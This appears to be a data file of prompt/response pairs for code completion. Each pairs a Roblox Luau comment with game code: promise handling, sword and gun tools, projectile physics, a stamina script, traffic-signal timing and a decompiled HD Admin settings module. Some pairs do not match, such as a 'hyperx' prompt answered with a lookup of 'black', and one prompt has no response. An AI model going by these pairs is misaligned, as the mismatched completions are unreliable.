Prompt:
--[=[
	Returns the results from the promise.

	:::warning
	This API surface will error if the promise is still pending.
	:::

	@return boolean -- true if resolved, false otherwise.
	@return any
]=]

Response:
function Promise:GetResults()
	if self._rejected then
		return false, unpack(self._rejected, 1, self._valuesLength)
	elseif self._fulfilled then
		return true, unpack(self._fulfilled, 1, self._valuesLength)
	else
		error("Still pending")
	end
end

function Promise:_getResolveReject()
	return function(...)
		self:Resolve(...)
	end, function(...)
		self:_reject({...}, select("#", ...))
	end
end


Prompt: --For Omega Rainbow Katana thumbnail to display a lot of particles.

Response:
for i, v in pairs(Handle:GetChildren()) do
	if v:IsA("ParticleEmitter") then
		v.Rate = 20
	end
end

Tool.Grip = Grips.Up
Tool.Enabled = true

function IsTeamMate(Player1, Player2)
	return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end

function TagHumanoid(humanoid, player)
	local Creator_Tag = Instance.new("ObjectValue")
	Creator_Tag.Name = "creator"
	Creator_Tag.Value = player
	Debris:AddItem(Creator_Tag, 2)
	Creator_Tag.Parent = humanoid
end

function UntagHumanoid(humanoid)
	for i, v in pairs(humanoid:GetChildren()) do
		if v:IsA("ObjectValue") and v.Name == "creator" then
			v:Destroy()
		end
	end
end

function Blow(Hit)
	if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
		return
	end
	if Hit.Parent:IsA("Model") then
		if not Players:GetPlayerFromCharacter(Hit.Parent) then
			local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
			if not RightArm then
				return
			end
			local RightGrip = RightArm:FindFirstChild("RightGrip")
			if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
				return
			end
			local character = Hit.Parent
			if character == Character then
				return
			end
			local humanoid = character:FindFirstChildOfClass("Humanoid")
			if not humanoid or humanoid.Health == 0 then
				return
			end
			local player = Players:GetPlayerFromCharacter(character)
			if player and (player == Player or IsTeamMate(Player, player)) then
				return
			end
			UntagHumanoid(humanoid)
			TagHumanoid(humanoid, Player)
			humanoid:TakeDamage(Damage)
		else
			return
		end

	end

end

function Attack()
	Damage = DamageValues.SlashDamage
	Sounds.Slash:Play()

	if Humanoid then
		if Humanoid.RigType == Enum.HumanoidRigType.R6 then
			local Anim = Instance.new("StringValue")
			Anim.Name = "toolanim"
			Anim.Value = "Slash"
			Anim.Parent = Tool
		elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
			local Anim = Tool:FindFirstChild("R15Slash")
			if Anim then
				local Track = Humanoid:LoadAnimation(Anim)
				Track:Play(0)
			end
		end
	end
end

function Lunge()
	Damage = DamageValues.LungeDamage

	Sounds.Lunge:Play()

	if Humanoid then
		if Humanoid.RigType == Enum.HumanoidRigType.R6 then
			local Anim = Instance.new("StringValue")
			Anim.Name = "toolanim"
			Anim.Value = "Lunge"
			Anim.Parent = Tool
		elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
			local Anim = Tool:FindFirstChild("R15Lunge")
			if Anim then
				local Track = Humanoid:LoadAnimation(Anim)
				Track:Play(0)
			end
		end
	end
	--[[
	if CheckIfAlive() then
		local Force = Instance.new("BodyVelocity")
		Force.velocity = Vector3.new(0, 10, 0)
		Force.maxForce = Vector3.new(0, 4000, 0)
		Debris:AddItem(Force, 0.4)
		Force.Parent = Torso
	end
	]]

	wait(0.2)
	Tool.Grip = Grips.Out
	wait(0.6)
	Tool.Grip = Grips.Up

	Damage = DamageValues.SlashDamage
end

Tool.Enabled = true
LastAttack = 0

function Activated()
	if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
		return
	end
	Tool.Enabled = false
	local Tick = RunService.Stepped:wait()
	if (Tick - LastAttack < 0.2) then
		Lunge()
	else
		Attack()
	end
	LastAttack = Tick
	--wait(0.5)
	Damage = DamageValues.BaseDamage
	local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){
		Name = "R15Slash",
		AnimationId = BaseUrl .. Animations.R15Slash,
		Parent = Tool
	})

	local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){
		Name = "R15Lunge",
		AnimationId = BaseUrl .. Animations.R15Lunge,
		Parent = Tool
	})
	Tool.Enabled = true
end

function CheckIfAlive()
	return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end

function Equipped()
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChildOfClass("Humanoid")
	Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart")
	if not CheckIfAlive() then
		return
	end
	ToolEquipped = true
	Sounds.Unsheath:Play()
end

function Unequipped()
	Tool.Grip = Grips.Up
	ToolEquipped = false
end

Tool.Activated:Connect(Activated)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)

Connection = Handle.Touched:Connect(Blow)


Prompt:
-----------------
--| Variables |--
-----------------

Response:
local PlayersService = Game:GetService('Players')

local Tool = script.Parent
local ToolHandle = Tool.Handle

local ReloadSound = WaitForChild(ToolHandle, 'ReloadSound')
local EquipSound = WaitForChild(ToolHandle, 'Equip')

local MyModel = nil
local MyPlayer = nil


Prompt: -- A variant of the function above that returns the velocity at a given point in time.

Response:
local function GetVelocityAtTime(time: number, initialVelocity: Vector3, acceleration: Vector3): Vector3
	return initialVelocity + acceleration * time
end

local function GetTrajectoryInfo(cast: ActiveCast, index: number): {[number]: Vector3}
	assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	local trajectories = cast.StateInfo.Trajectories
	local trajectory = trajectories[index]
	local duration = trajectory.EndTime - trajectory.StartTime

	local origin = trajectory.Origin
	local vel = trajectory.InitialVelocity
	local accel = trajectory.Acceleration

	return {GetPositionAtTime(duration, origin, vel, accel), GetVelocityAtTime(duration, vel, accel)}
end

local function GetLatestTrajectoryEndInfo(cast: ActiveCast): {[number]: Vector3}
	assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	return GetTrajectoryInfo(cast, #cast.StateInfo.Trajectories)
end

local function CloneCastParams(params: RaycastParams): RaycastParams
	local clone = RaycastParams.new()
	clone.CollisionGroup = params.CollisionGroup
	clone.FilterType = params.FilterType
	clone.FilterDescendantsInstances = params.FilterDescendantsInstances
	clone.IgnoreWater = params.IgnoreWater
	return clone
end

local function SendRayHit(cast: ActiveCast, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
	--cast.RayHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
	cast.Caster.RayHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
end

local function SendRayPierced(cast: ActiveCast, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
	--cast.RayPierced:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
	cast.Caster.RayPierced:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
end

local function SendLengthChanged(cast: ActiveCast, lastPoint: Vector3, rayDir: Vector3, rayDisplacement: number, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
	--cast.LengthChanged:Fire(cast, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject)
	cast.Caster.LengthChanged:Fire(cast, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject)
end


Prompt:
--[[**
	ensures value is a number and non-NaN

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response:
function t.number(value)
	local valueType = typeof(value)
	if valueType == "number" then
		if value == value then
			return true
		else
			return false, "unexpected NaN value"
		end
	else
		return false, string.format("number expected, got %s", valueType)
	end
end


Prompt: --phace 1

Response:
core.Stage4Overload.Enabled=true
wait(4)
CG.CoreStatus.Value="overload"


Prompt: --or script.Parent.RPMManagement.Disabled == false

Response:
while wait() do
	speed = carSeat.Velocity.Magnitude
	if carSeat.Throttle ~= 1 and juice == false then
		juice = true
		for i = 0.3, 0, -0.02 do
			wait()
			script.Parent.Value.Value = i
		end --script.Parent.Value.Value = 0
	elseif carSeat.Throttle == 1 and juice == true then
		juice = false
		for i = 0, 0.3, 0.02 do
			wait()
			script.Parent.Value.Value = i
		end
	end
end


Prompt:
--==================================================
--Setting
--==================================================

Response:
local Ammo = math.huge --Amount of Ammo to give. Set it to "math.huge" to refill the gun's ammo.
local GunToRefillAmmo = {
	"Pistol",
	--Add more gun here if you want
}


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
local l__HDAdminMain__1 = _G.HDAdminMain;
function v1.SetupMainVariables(p1, p2)
	l__HDAdminMain__1.hdAdminGroup = {
		Id = 4676369,
		Info = {}
	};
	l__HDAdminMain__1.hdAdminGroupInfo = {};
	l__HDAdminMain__1.settingsBanRecords = {};
	l__HDAdminMain__1.alphabet = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" };
	l__HDAdminMain__1.UserIdsFromName = {};
	l__HDAdminMain__1.UsernamesFromUserId = {};
	l__HDAdminMain__1.validSettings = { "Theme", "NoticeSoundId", "NoticeVolume", "NoticePitch", "ErrorSoundId", "ErrorVolume", "ErrorPitch", "AlertSoundId", "AlertVolume", "AlertPitch", "Prefix" };
	l__HDAdminMain__1.commandInfoToShowOnClient = { "Name", "Contributors", "Prefixes", "Rank", "Aliases", "Tags", "Description", "Args", "Loopable" };
	l__HDAdminMain__1.products = {
		Donor = 5745895,
		OldDonor = 2649766
	};
	l__HDAdminMain__1.materials = { "Plastic", "Wood", "Concrete", "CorrodedMetal", "DiamondPlate", "Foil", "Grass", "Ice", "Marble", "Granite", "Brick", "Pebble", "Sand", "Fabric", "SmoothPlastic", "Metal", "WoodPlanks", "Cobblestone", "Neon", "Glass" };
	l__HDAdminMain__1.rankTypes = {
		Auto = 4,
		Perm = 3,
		Server = 2,
		Temp = 1
	};
	if p2 == "Server" then
		l__HDAdminMain__1.pd = {};
		l__HDAdminMain__1.sd = {};
		l__HDAdminMain__1.permissions = {
			specificUsers = {},
			gamepasses = {},
			assets = {},
			groups = {},
			friends = 0,
			freeAdmin = 0,
			vipServerOwner = 0,
			vipServerPlayer = 0,
			owner = true
		};
		l__HDAdminMain__1.commandInfo = {};
		l__HDAdminMain__1.commandRanks = {};
		l__HDAdminMain__1.infoOnAllCommands = {
			Contributors = {},
			Tags = {},
			Prefixes = {},
			Aliases = {}
		};
		l__HDAdminMain__1.morphNames = {};
		l__HDAdminMain__1.toolNames = {};
		l__HDAdminMain__1.commands = {};
		l__HDAdminMain__1.playersRanked = {};
		l__HDAdminMain__1.playersUnranked = {};
		l__HDAdminMain__1.settings.UniversalPrefix = "!";
		l__HDAdminMain__1.serverAdmins = {};
		l__HDAdminMain__1.owner = {};
		l__HDAdminMain__1.ownerId = game.CreatorId;
		if game.CreatorType == Enum.CreatorType.Group then
			local l__Owner__2 = l__HDAdminMain__1.groupService:GetGroupInfoAsync(game.CreatorId).Owner;
			l__HDAdminMain__1.ownerId = l__Owner__2.Id;
			l__HDAdminMain__1.ownerName = l__Owner__2.Name;
		end;
		if game.PlaceId > 0 then
			local v3 = l__HDAdminMain__1.marketplaceService:GetProductInfo(game.PlaceId, Enum.InfoType.Asset).Name or "GameNameFailedToLoad";
		else
			v3 = "GameNameFailedToLoad";
		end;
		l__HDAdminMain__1.gameName = v3;
		l__HDAdminMain__1.listOfTools = {};
		l__HDAdminMain__1.ranksAllowedToJoin = 0;
		l__HDAdminMain__1.permissionToReplyToPrivateMessage = {};
		l__HDAdminMain__1.logs = {
			command = {},
			chat = {}
		};
		l__HDAdminMain__1.isStudio = l__HDAdminMain__1.runService:IsStudio();
		l__HDAdminMain__1.serverBans = {};
		l__HDAdminMain__1.blacklistedVipServerCommands = {};
		l__HDAdminMain__1.banned = {};
		l__HDAdminMain__1.commandBlocks = {};
		for v4 = 1, 3 do
			l__HDAdminMain__1.physicsService:CreateCollisionGroup("Group" .. v4);
		end;
		l__HDAdminMain__1.physicsService:CollisionGroupSetCollidable("Group1", "Group2", false);
	elseif p2 == "Client" then
		l__HDAdminMain__1.qualifiers = { "me", "all", "others", "random", "admins", "nonAdmins", "friends", "nonFriends", "NBC", "BC", "TBC", "OBC", "R6", "R15", "rthro", "nonRthro" };
		l__HDAdminMain__1.colors = {};
		l__HDAdminMain__1.topbarEnabled = true;
		l__HDAdminMain__1.blur = Instance.new("BlurEffect", l__HDAdminMain__1.camera);
		l__HDAdminMain__1.blur.Size = 0;
		l__HDAdminMain__1.commandMenus = {};
		l__HDAdminMain__1.commandsToDisableCompletely = {
			laserEyes = true
		};
		l__HDAdminMain__1.commandsActive = {};
		l__HDAdminMain__1.commandsAllowedToUse = {};
		l__HDAdminMain__1.commandsWithMenus = {
			Type1 = {
				laserEyes = { "Info", "Press and hold to activate." },
				fly = { "Input", "Speed" },
				fly2 = { "Input", "Speed" },
				noclip = { "Input", "Speed" },
				noclip2 = { "Input", "Speed" }
			},
			Type2 = {
				cmdbar2 = {}
			},
			Type3 = {
				bubbleChat = {}
			}
		};
		l__HDAdminMain__1.commandSpeeds = {
			fly = 50,
			fly2 = 50,
			noclip = 100,
			noclip2 = 25
		};
		for v5, v6 in pairs(l__HDAdminMain__1.commandSpeeds) do
			local v7 = l__HDAdminMain__1.settings.CommandLimits[v5];
			if v7 then
				local l__Limit__8 = v7.Limit;
				if l__Limit__8 < v6 then
					l__HDAdminMain__1.commandSpeeds[v5] = l__Limit__8;
				end;
			end;
		end;
		l__HDAdminMain__1.infoFramesViewed = {
			Speed = true
		};
	end;
	table.sort(l__HDAdminMain__1.settings.Ranks, function(p3, p4)
		return p3[1] < p4[1];
	end);
end;
return v1;


Prompt:
--[[**some things may not work correctly because I coded this from memory while in school,
so if you have any problems, let me know in discord**]]


Prompt: --Simple function to make the door appear and disappear

Response:
local clickDetector = script.Parent.ClickDetector

function onMouseClick()
	if script.Parent.CanCollide == false then
		print "Close door"
		local C = script.Parent.Parent:GetChildren()
		for i=1, #C do
			if (C[i].className == "Part") or (C[i].className == "Seat") or (C[i].className == "WedgePart") or (C[i].className == "CornerWedgePart") or (C[i].className == "VehicleSeat") or (C[i].className == "UnionOperation") then
			if C[i].Name == "Window" then
				C[i].Transparency = 0.6
			else
				C[i].Transparency = 0
			end
			C[i].CanCollide = true
			end
		end
	else
		print "Open door"
		local C = script.Parent.Parent:GetChildren()
		for i=1, #C do
			if (C[i].className == "Part") or (C[i].className == "Seat") or (C[i].className == "WedgePart") or (C[i].className == "CornerWedgePart") or (C[i].className == "VehicleSeat") or (C[i].className == "UnionOperation") then
			C[i].Transparency = 1
			C[i].CanCollide = false
			end
		end
	end
end

clickDetector.MouseClick:connect(onMouseClick)


Prompt:
--SETTINGS:
--[

Response:
defaultWalkSpeed = 16 --The speed the player walks when not running
runSpeed = 24 --The speed the player walks when running
stamina = 100 --The current stamina of the player (this variable can be used to check the stamina level of the player)
maxStamina = 100 --The maximum ammount of stamina the character will regen to
minStaminaToRun = 30 --The minimum amount of stamina required to run
staminaPerSecond = 10 --The ammount of stamina that is used per second when running
staminaRegenPerSecond = 5 --The amount of stamina that is regenerated every second when not running

staminaGui = script.StaminaGui --Change "StaminaGui" to the name of your Gui parented to this script


Prompt: -- update leaderboard

Response:
spawn(function ()
	while wait(LEADERBOARD_UPDATE*60) do
		UpdateBoard()
	end
end)


Prompt: --// Holstering

Response:
	HolsteringEnabled = false;
	HolsterPos = CFrame.new(0.140751064, 0, -0.616261482, -4.10752676e-08, -0.342020065, 0.939692616, -1.49501727e-08, 0.939692557, 0.342020094, -0.99999994, 0, -4.37113847e-08);


Prompt: -- Encuentra el sonido llamado "hyperx" en el servicio de sonido

Response: local sound = soundService:FindFirstChild("black")


Prompt: --Made by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
UserInputService = game:GetService("UserInputService")

AmmoDisplay = script:WaitForChild("AmmoDisplay"):Clone()
CastLaser = Tool:WaitForChild("CastLaser"):Clone()

Camera = game:GetService("Workspace").CurrentCamera

BaseUrl = "http://www.roblox.com/asset/?id="

AnimationTracks = {}
LocalObjects = {}

Animations = {
	Hold = {Animation = Tool:WaitForChild("Hold"), FadeTime = nil, Weight = nil, Speed = 1, Duration = 2},
	Fire = {Animation = Tool:WaitForChild("Fire"), FadeTime = 0.25, Weight = nil, Speed = 0.5, Duration = 0.5},
	Reload = {Animation = Tool:WaitForChild("Reload"), FadeTime = nil, Weight = nil, Speed = 1, Duration = 2},
}

Sounds = {
	Reload = Handle:WaitForChild("Reload"),
	NoAmmo = Handle:WaitForChild("NoAmmo"),
}

Modules = Tool:WaitForChild("Modules")
Functions = require(Modules:WaitForChild("Functions"))

Remotes = Tool:WaitForChild("Remotes")
ServerControl = Remotes:WaitForChild("ServerControl")
ClientControl = Remotes:WaitForChild("ClientControl")

ConfigurationBin = Tool:WaitForChild("Configuration")
Configuration = {}
Configuration = Functions.CreateConfiguration(ConfigurationBin, Configuration)

InputCheck = Instance.new("ScreenGui")
InputCheck.Name = "InputCheck"
InputButton = Instance.new("ImageButton")
InputButton.Name = "InputButton"
InputButton.Image = ""
InputButton.BackgroundTransparency = 1
InputButton.ImageTransparency = 1
InputButton.Size = UDim2.new(1, 0, 1, 0)
InputButton.Parent = InputCheck

Cursors = {
	Normal = (BaseUrl .. "170908665"),
	EnemyHit = (BaseUrl .. "172618259"),
}

Rate = (5 / 5)

FiringOffset = Vector3.new(0, ((Handle.Size.Y / 4) - 0.2), -(Handle.Size.Z / 2))

Reloading = false
MouseDown = false
ToolEquipped = false

Tool.Enabled = true

function SetAnimation(mode, value)
	if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
		for i, v in pairs(AnimationTracks) do
			if v.Animation == value.Animation then
				v.AnimationTrack:Stop()
				table.remove(AnimationTracks, i)
			end
		end
		local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
		table.insert(AnimationTracks, {Animation = value.Animation, AnimationTrack = AnimationTrack})
		AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
	elseif mode == "StopAnimation" and value then
		for i, v in pairs(AnimationTracks) do
			if v.Animation == value.Animation then
				v.AnimationTrack:Stop(value.FadeTime)
				table.remove(AnimationTracks, i)
			end
		end
	end
end

function ToggleGui()
	if not AmmoDisplayClone or not AmmoDisplayClone.Parent then
		return
	end
	local Frame = AmmoDisplayClone.Frame
	local Ammo = Frame.Ammo
	if Configuration.Ammo.ClipSize.MaxValue > 0 then
		Ammo.AmmoCounter.CounterPart.Text = Configuration.Ammo.ClipSize.Value
	end
	Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value
end

function Reload()
	if Reloading or not Tool.Enabled or Configuration.Ammo.Magazines.Value >= Configuration.Ammo.Magazines.MaxValue then
		return
	end
	Tool.Enabled = false
	Reloading = true
	ToggleGui()
	local CanReload = true
	if Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value <= 0 then
		CanReload = false
	else
		CanReload = true
	end
	if CanReload then
		Spawn(function()
			local Animation = Animations.Reload
			OnClientInvoke("PlayAnimation", Animation)
			wait(Animation.Duration)
			OnClientInvoke("StopAnimation", Animation)
		end)
		Sounds.Reload:Play()
		local AddedClips = ((Configuration.Ammo.Magazines.MaxValue > 0 and (Configuration.Ammo.Magazines.MaxValue - Configuration.Ammo.Magazines.Value)) or Configuration.Ammo.ClipSize.MaxValue)
		if Configuration.Ammo.ClipSize.MaxValue > 0 then
			AddedClips = ((AddedClips > Configuration.Ammo.ClipSize.Value and Configuration.Ammo.ClipSize.Value) or AddedClips)
		end
		--[[local ReloadRate = (Configuration.ReloadTime.Value / Configuration.Ammo.Magazines.MaxValue)
		for i = 1, AddedClips do
			wait(ReloadTime)
			Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + 1)
		end]]
		wait(Configuration.ReloadTime.Value)
		Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + AddedClips)
		Configuration.Ammo.ClipSize.Value = (Configuration.Ammo.ClipSize.Value - AddedClips)
		Sounds.Reload:Stop()
		ToggleGui()
	end
	Reloading = false
	Tool.Enabled = true
end

function RayTouched(Hit, Position)
	if not Hit or not Hit.Parent then
		return
	end
	local character = Hit.Parent
	if character:IsA("Hat") then
		character = character.Parent
	end
	if character == Character then
		return
	end
	local humanoid = character:FindFirstChild("Humanoid")
	local SoundChosen = Sounds.RayHit
	if not humanoid or humanoid.Health == 0 then
		return
	end
	local player = Players:GetPlayerFromCharacter(character)
	if player and Functions.IsTeamMate(Player, player) then
		return
	end
	Spawn(function()
		IconChangeTick = tick()
		PlayerMouse.Icon = Cursors.EnemyHit
		wait(1)
		if (tick() - IconChangeTick) >= 0.95 and ToolEquipped and PlayerMouse then
			PlayerMouse.Icon = Cursors.Normal
		end
	end)
end

function FireRay(StartPosition, TargetPosition)
	local Direction = CFrame.new(StartPosition, TargetPosition).lookVector
	local RayHit, RayPos, RayNormal = Functions.CastRay(StartPosition, Direction, Configuration.Range.Value, {Character}, false)
	local Backpack = Player:FindFirstChild("Backpack")
	if Backpack then
		local LaserScript = CastLaser:Clone()
		local StartPos = Instance.new("Vector3Value")
		StartPos.Name = "StartPosition"
		StartPos.Value = StartPosition
		StartPos.Parent = LaserScript
		local TargetPos = Instance.new("Vector3Value")
		TargetPos.Name = "TargetPosition"
		TargetPos.Value = RayPos
		TargetPos.Parent = LaserScript
		local RayHit = Instance.new("BoolValue")
		RayHit.Name = "RayHit"
		RayHit.Value = RayHit
		RayHit.Parent = LaserScript
		LaserScript.Disabled = false
		LaserScript.Parent = Backpack
	end
	Spawn(function()
		InvokeServer("CastLaser", {StartPosition = StartPosition, TargetPosition = RayPos, RayHit = ((RayHit and true) or false)})
	end)
	Spawn(function()
		InvokeServer("RayHit", {Hit = RayHit, Position = RayPos})
	end)
	RayTouched(RayHit, RayPos)
end

function Button1Pressed(Down)
	if not Down and MouseDown then
		MouseDown = false
	end
end

function KeyPress(Key, Down)
	if Key == "r" and Down then
		Reload()
	end
end

function Activated()
	if not Tool.Enabled or not ToolEquipped or Reloading then
		return
	end
	Tool.Enabled = false
	if Configuration.Ammo.Magazines.Value > 0 then
		local FirstShot = false
		if Configuration.Automatic.Value then
			MouseDown = true
		end
		OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = nil})
		OnClientInvoke("PlayAnimation", Animations.Fire)
		while MouseDown or not FirstShot and ToolEquipped and CheckIfAlive() do
			if Configuration.Ammo.Magazines.Value <= 0 or not ToolEquipped or not CheckIfAlive() then
				break
			end
			if not FirstShot then
				FirstShot = true
			end
			local BurstAmount = math.random(Configuration.Burst.Bullets.MinValue, Configuration.Burst.Bullets.MaxValue)
			local WithinFiringRange = false
			Spawn(function()
				InvokeServer("Fire", true)
			end)
			for i = 1, ((BurstAmount > 0 and BurstAmount) or 1) do
				local TargetPosition = OnClientInvoke("MousePosition")
				if not TargetPosition then
					break
				end
				TargetPosition = TargetPosition.Position
				local StartPosition = (Handle.CFrame * CFrame.new(FiringOffset.X, FiringOffset.Y, FiringOffset.Z)).p
				if BurstAmount > 0 then
					local Offset = (Configuration.Burst.Offset.Value * 100)
					TargetPosition = TargetPosition + Vector3.new((math.random(-Offset.X, Offset.X) * 0.01), (math.random(-Offset.Y, Offset.Y) * 0.01), (math.random(-Offset.Z, Offset.Z) * 0.01))
				end
				local Accuracy = (Configuration.Accuracy.Value * 100)
				TargetPosition = TargetPosition + Vector3.new((math.random(-Accuracy.X, Accuracy.X) * 0.01), (math.random(-Accuracy.Y, Accuracy.Y) * 0.01), (math.random(-Accuracy.Z, Accuracy.Z) * 0.01))
				Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value - 1)
				FireRay(StartPosition, TargetPosition)
			end
			ToggleGui()
			wait(Configuration.FireRate.Value)
		end
		OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = 0.25})
	else
		Tool.Enabled = true
		Sounds.NoAmmo:Play()
		Reload()
	end
	MouseDown = false
	Tool.Enabled = true
	if Configuration.Ammo.Magazines.Value <= 0 then
		Sounds.NoAmmo:Play()
		Reload()
	end
end

function CheckIfAlive()
	return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end

function Equipped(Mouse)
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	if not CheckIfAlive() then
		return
	end
	ToolEquipped = true
	Spawn(function()
		PlayerMouse = Player:GetMouse()
		Mouse.Button1Down:connect(function()
			Button1Pressed(true)
		end)
		Mouse.Button1Up:connect(function()
			Button1Pressed(false)
		end)
		Mouse.KeyDown:connect(function(Key)
			KeyPress(Key, true)
		end)
		Mouse.KeyUp:connect(function(Key)
			KeyPress(Key, false)
		end)
		Humanoid.CameraOffset = Vector3.new(0, 0.35, 0)
		OnClientInvoke("PlayAnimation", Animations.Hold)
		local PlayerGui = Player:FindFirstChild("PlayerGui")
		if PlayerGui then
			if UserInputService.TouchEnabled then
				InputCheckClone = InputCheck:Clone()
				InputCheckClone.InputButton.InputBegan:connect(function()
					InvokeServer("Button1Click", {Down = true})
				end)
				InputCheckClone.InputButton.InputEnded:connect(function()
					InvokeServer("Button1Click", {Down = false})
				end)
				InputCheckClone.Parent = PlayerGui
			end
			local function AdjustAmmoDisplay()
				local Frame = AmmoDisplayClone.Frame
				Frame.CurrentWeapon.Text = Configuration.ToolName.Value
				local Ammo = Frame.Ammo
				Ammo.AmmoCounter.CounterPart.Text = ((Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value) or "--")
				Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value
			end
			AmmoDisplayClone = AmmoDisplay:Clone()
			AdjustAmmoDisplay()
			AmmoDisplayClone.Parent = PlayerGui
			ToggleGui()
			for i, v in pairs({ClipSizeChanged, MagazinesChanged}) do
				if v then
					v:disconnect()
				end
			end
			ClipSizeChanged = Configuration.Ammo.ClipSize.Changed:connect(function()
				AdjustAmmoDisplay()
			end)
			MagazinesChanged = Configuration.Ammo.Magazines.Changed:connect(function()
				AdjustAmmoDisplay()
			end)
		end
		for i, v in pairs({"Left Arm", "Right Arm"}) do
			local Arm = Character:FindFirstChild(v)
			if Arm then
				Spawn(function()
					OnClientInvoke("SetLocalTransparencyModifier", {Object = Arm, Transparency = 0, AutoUpdate = false})
				end)
			end
		end
		Mouse.Icon = Cursors.Normal
	end)
end

function Unequipped()
	LocalObjects = {}
	if CheckIfAlive() then
		Humanoid.CameraOffset = Vector3.new(0, 0, 0)
	end
	for i, v in pairs(Sounds) do
		v:Stop()
	end
	if PlayerMouse then
		PlayerMouse.Icon = ""
	end
	for i, v in pairs({InputCheckClone, ObjectLocalTransparencyModifier, AmmoDisplayClone, ClipSizeChanged, MagazinesChanged}) do
		if tostring(v) == "Connection" then
			v:disconnect()
		elseif v and v.Parent then
			v:Destroy()
		end
	end
	MouseDown = false
	for i, v in pairs(AnimationTracks) do
		if v and v.AnimationTrack then
			v.AnimationTrack:Stop()
		end
	end
	AnimationTracks = {}
	ToolEquipped = false
end

function InvokeServer(mode, value)
	pcall(function()
		local ServerReturn = ServerControl:InvokeServer(mode, value)
		return ServerReturn
	end)
end

function OnClientInvoke(mode, value)
	if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
		SetAnimation("PlayAnimation", value)
	elseif mode == "StopAnimation" and value then
		SetAnimation("StopAnimation", value)
	elseif mode == "PlaySound" and value then
		value:Play()
	elseif mode == "StopSound" and value then
		value:Stop()
	elseif mode == "MousePosition" then
		return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}
	elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then
		pcall(function()
			local ObjectFound = false
			for i, v in pairs(LocalObjects) do
				if v == value then
					ObjectFound = true
				end
			end
			if not ObjectFound then
				table.insert(LocalObjects, value)
				if ObjectLocalTransparencyModifier then
					ObjectLocalTransparencyModifier:disconnect()
				end
				ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function()
					for i, v in pairs(LocalObjects) do
						if v.Object and v.Object.Parent then
							local CurrentTransparency = v.Object.LocalTransparencyModifier
							if ((not v.AutoUpdate and (CurrentTransparency == 1 or  CurrentTransparency == 0)) or v.AutoUpdate) then
								v.Object.LocalTransparencyModifier = v.Transparency
							end
						else
							table.remove(LocalObjects, i)
						end
					end
				end)
			end
		end)
	end
end

ClientControl.OnClientInvoke = OnClientInvoke

Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)


Response:
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 1
	PedValues.PedSignal2a.Value = 1
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL1 GREEN)
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
